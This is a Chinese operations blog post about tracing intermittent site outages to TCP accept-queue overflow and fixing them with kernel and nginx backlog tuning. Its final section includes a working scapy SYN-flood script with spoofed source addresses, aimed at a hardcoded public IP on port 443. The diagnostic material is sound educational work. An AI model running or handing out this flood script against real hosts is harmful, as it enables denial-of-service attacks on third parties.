记一次惊心的网站TCP队列问题排查经历

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作者：刘晓明，互联网公司运维技术负责人，拥有10年的互联网开发和运维经验。一直致力于运维工具的开发和运维专家服务的推进，赋能开发，提高效能。

问题描述：

1、监控系统发现电商网站主页及其它页面间歇性的无法访问； 

2、查看安全防护和网络流量、应用系统负载均正常； 

3、系统重启后，能够暂时解决，但持续一段时间后间歇性问题再次出现。

此时问题已经影响到整个网站的正常业务，我的那个心惊的呀，最主要报警系统没有任何报警，服务运行一切正常，瞬时背上的汗已经出来了。但还是要静心，来仔细寻找蛛丝马迹，来一步一步找问题。

问题初步判断:

1、检查dev 和 网卡设备层，是否有error和drop

cat /proc/net/dev 和 ifconfig，分析在硬件和系统层，未发现异常

2、观察socket overflow 和 socket droped（如果应用处理全连接队列（accept queue）过慢 socket overflow，影响半连接队列(syn queue)溢出socket dropped）

netstat -s |grep -i listen ，发现SYN socket overflow 和 socket droped 急增加。

3、检查sysctl内核参数：backlog，somaxconn，file-max 和 应用程序的backlog

ss -lnt查询，SEND-Q会取上述参数的最小值，发现当时队列已经超过网站80端口和443端口默认值

4、检查 selinux 和NetworkManager 是否启用 ，禁用状态

5、检查timestap ,reuse 启用，内核recycle是否启用，如果过NAT，禁用recycle

6、抓包判断请求进来后应用处理的情况，是否收到SYN未响应情况。

深入分析问题：

正常TCP建连接三次握手过程：

• 第一步：客户端 发送 syn 到 服务端 发起握手；

• 第二步：服务端 收到 syn后回复syn+ack给 客户端；

• 第三步： 客户端 收到syn+ack后，回复 服务端 一个ack表示收到了 服务端 的syn+ack 。

从描述的情况来看，TCP建连接的时候全连接队列（accept队列）满了，尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加，那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后，OS怎么处理：

1. # cat /proc/sys/net/ipv4/tcp_abort_on_overflow

3. 0

tcpaborton_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack（在server端认为连接还没建立起来）

为了证明客户端应用代码的异常跟全连接队列满有关系，我先把tcpaborton_overflow修改成 1，1表示第三步的时候如果全连接队列满了，server发送一个reset包给client，表示废掉这个握手过程和这个连接（本来在server端这个连接就还没建立起来）。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误，到此证明客户端错误是这个原因导致的。

查看sysctl内核参数：backlog ，somaxconn，file-max 和 nginx的backlog配置参数，ss -ln取最小值，发现为128，此时resv-q已经在129 ，请求被丢弃。将上述参数修改，并进行优化：

• linux内核参进行优化：

1. net.ipv4.tcp_syncookies = 1

2. net.ipv4.tcp_max_syn_backlog = 16384

3. net.core.somaxconn = 16384

• nginx 配置参数优化： backlog=32768;

利用python 多线程压测，并未发现新的问题：

1. import requests

2. from bs4 import BeautifulSoup

3. from concurrent.futures import ThreadPoolExecutor

4. url='https://www.wuage.com/'

5. response=requests.get(url)

6. soup=BeautifulSoup(response.text,'html.parser')

7. with ThreadPoolExecutor(20) as ex:

8.    for each_a_tag in soup.find_all('a'):

9.        try:

10.            ex.submit(requests.get,each_a_tag['href'])

11.        except Exception as err:

12.            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

如上图所示，这里有两个队列：syns queue(半连接队列）；accept queue（全连接队列）

三次握手中，在第一步server收到client的syn后，把相关信息放到半连接队列中，同时回复syn+ack给client（第二步）；

比如syn floods 攻击就是针对半连接队列的，攻击方不停地建连接，但是建连接的时候只做第一步，第二步中攻击方收到server的syn+ack后故意扔掉什么也不做，导致server上这个队列满其它正常请求无法进来

第三步的时候server收到client的ack，如果这时全连接队列没满，那么从半连接队列拿出相关信息放入到全连接队列中，否则按tcpaborton_overflow指示的执行。

这时如果全连接队列满了并且tcpaborton_overflow是0的话，server过一段时间再次发送syn+ack给client（也就是重新走握手的第二步），如果client超时等待比较短，就很容易异常了。

SYN Flood洪水攻击

当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，导致被攻击服务器保持大量SYN_RECV状态的“半连接”，并且会重试默认5次回应第二个握手包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不足），让正常的业务请求连接不进来。用python实现一个SYN Flood攻击的Demo：

1. from concurrent.futures import ThreadPoolExecutor

2. from scapy.all import *

3. def synFlood(tgt,dPort):

4.    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',

5.               '125.130.5.199']

6.    for sPort in range(1024, 65535):

7.        index = random.randrange(4)

8.        ipLayer = IP(src=srcList[index], dst=tgt)

9.        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')

10.        packet = ipLayer/tcpLayer

11.        send(packet)

13. tgt = '139.196.251.198'

14. print(tgt)

15. dPort = 443

17. with ThreadPoolExecutor(10000000) as ex:

18.    try:

19.        ex.submit(synFlood(tgt,dPort))

20.    except Exception as err:

21.        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视，但是又很关键，特别是对于一些短连接应用更容易爆发、出现问题后，从网络流量、cpu、线程、负载来看都比较正常，在用户端来看rt比较高，但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱，建立起应急机机制，后续有机会写一下应急方面的文章。

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